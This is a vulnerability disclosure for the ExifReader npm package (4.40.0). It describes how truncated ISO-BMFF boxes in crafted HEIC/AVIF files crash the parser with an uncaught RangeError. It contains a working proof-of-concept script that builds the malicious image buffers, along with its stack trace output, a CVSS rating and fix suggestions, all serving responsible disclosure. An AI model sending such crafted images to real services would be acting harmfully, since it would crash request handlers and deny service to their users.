ExifReader HEIC/AVIF ISO-BMFF parser throws uncaught RangeError on truncated boxes

Summary

ExifReader 4.40.0 can throw an uncaught RangeError: Offset is outside the bounds of the DataView while parsing crafted HEIC/AVIF files. The file only needs a valid leading ftyp box with a HEIC/AVIF major brand followed by a malformed ISO-BMFF box, such as an empty 8-byte free box or a truncated extended-size box.

This is reachable through the public ExifReader.load() API for in-memory buffers and through the async file/URL loaders when an application parses attacker-supplied images. In applications that do not wrap every parse in a defensive try/catch, a single uploaded or fetched image can abort the request/worker and cause a denial of service.

Credit requested: Yaohui Wang.

Affected version tested

• npm package: exifreader
• Version: 4.40.0
• Repository commit tested: 8cb0261a26b7d986955fe0a6780f076dcb7902e7

Root cause

The ISO-BMFF parser assumes that every top-level box with at least an 8-byte header also has enough bytes for the fields required by its parsed form. In src/image-header-iso-bmff.js:

• findMetaBox() calls parseBox(dataView, offset) while only checking that offset + 8 <= dataView.byteLength.
• parseBox() calls getBoxLength() and then unconditionally reads fields such as the full-box version byte for meta/iloc/iinf/idat boxes.
• getBoxLength() handles boxLength === 1 by calling hasEmptyHighBits(dataView, offset), which reads dataView.getUint32(offset + 8) without first checking that the 64-bit extended size field is present.

As a result, syntactically small or truncated boxes after a valid HEIC/AVIF ftyp box escape the format-detection catch blocks and throw from the main parsing path.

Reproduction

Run this from the repository root against the committed dist/exif-reader.js bundle:

const ExifReader = require('./dist/exif-reader.js');

function u32be(n) {
  return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function ascii(s) {
  return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content = []) {
  return [...u32be(8 + content.length), ...ascii(type), ...content];
}

for (const brand of ['heic', 'avif']) {
  for (const badBox of ['free', 'abcd']) {
    const bytes = Uint8Array.from([
      ...box('ftyp', ascii(brand)),
      ...box(badBox), // 8-byte box header with no content
    ]);

    try {
      ExifReader.load(bytes.buffer);
      console.log(`${brand}/${badBox}: no throw`);
    } catch (e) {
      console.log(`${brand}/${badBox}: ${e.name}: ${e.message}`);
      console.log(String(e.stack).split('\n').slice(0, 6).join('\n'));
    }
  }
}

Observed output on Node v23.11.0 with ExifReader 4.40.0:

heic/free: RangeError: Offset is outside the bounds of the DataView
RangeError: Offset is outside the bounds of the DataView
    at DataView.prototype.getUint8 (<anonymous>)
    at parseBox (.../dist/exif-reader.js:1:16513)
    at findMetaBox (.../dist/exif-reader.js:1:19032)
    at findOffsets (.../dist/exif-reader.js:1:19101)

heic/abcd: RangeError: Offset is outside the bounds of the DataView
avif/free: RangeError: Offset is outside the bounds of the DataView
avif/abcd: RangeError: Offset is outside the bounds of the DataView

A second variant triggers the extended-size path:

const truncatedExtendedBox = [...u32be(1), ...ascii('free')];
const heic = Uint8Array.from([...box('ftyp', ascii('heic')), ...truncatedExtendedBox]);
ExifReader.load(heic.buffer);

That throws from hasEmptyHighBits() / getBoxLength() because the extended-size high/low fields are not present.

Expected behavior

Malformed/truncated metadata boxes should be handled like other malformed metadata in the project: return only the successfully parsed file type/metadata, return no app markers, or throw a controlled project-specific error. A safe JavaScript bounds error should not escape from the parser for an attacker-controlled image container.

Security impact

This is a denial-of-service issue for services that parse user-provided HEIC/AVIF files with ExifReader. A minimal attacker-controlled image buffer can cause an unhandled exception in the parser and abort the surrounding request/worker if the embedding application does not catch every parse error.

Suggested severity: Medium. Suggested CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.

Suggested fix

Add explicit bounds checks before every DataView read in the ISO-BMFF box parser, especially:

• before reading the 64-bit extended size fields in getBoxLength();
• before reading the full-box version byte in parseBox();
• before descending into parseSubBoxes() when a declared box length exceeds available bytes;
• ensure findMetaBox() breaks on boxes whose declared length is invalid or not fully present.

A regression test should cover ftyp/heic and ftyp/avif followed by an 8-byte empty free/unknown box and by a truncated extended-size box.